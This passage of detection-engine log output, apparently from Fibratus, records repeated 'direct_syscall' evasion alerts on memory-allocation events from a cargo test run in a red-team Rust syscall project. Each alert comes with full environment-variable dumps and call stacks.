Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6900f63e2 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6900ec916 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff360c8 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff2e134 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69005dc6f C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69005d141 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa6deb6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb11167 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0ef5a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0cfd6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 903080 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 4 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.0015105 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50d3000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc41d6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc0b08 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc8941e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff35129 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff31fae C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69033ed4a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff34757 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff32e06 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff2fbdd C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69005e5d0 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69005d141 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa6deb6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb11167 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0ef5a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0cfd6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 903082 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 4 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.0015334 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50d2000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json 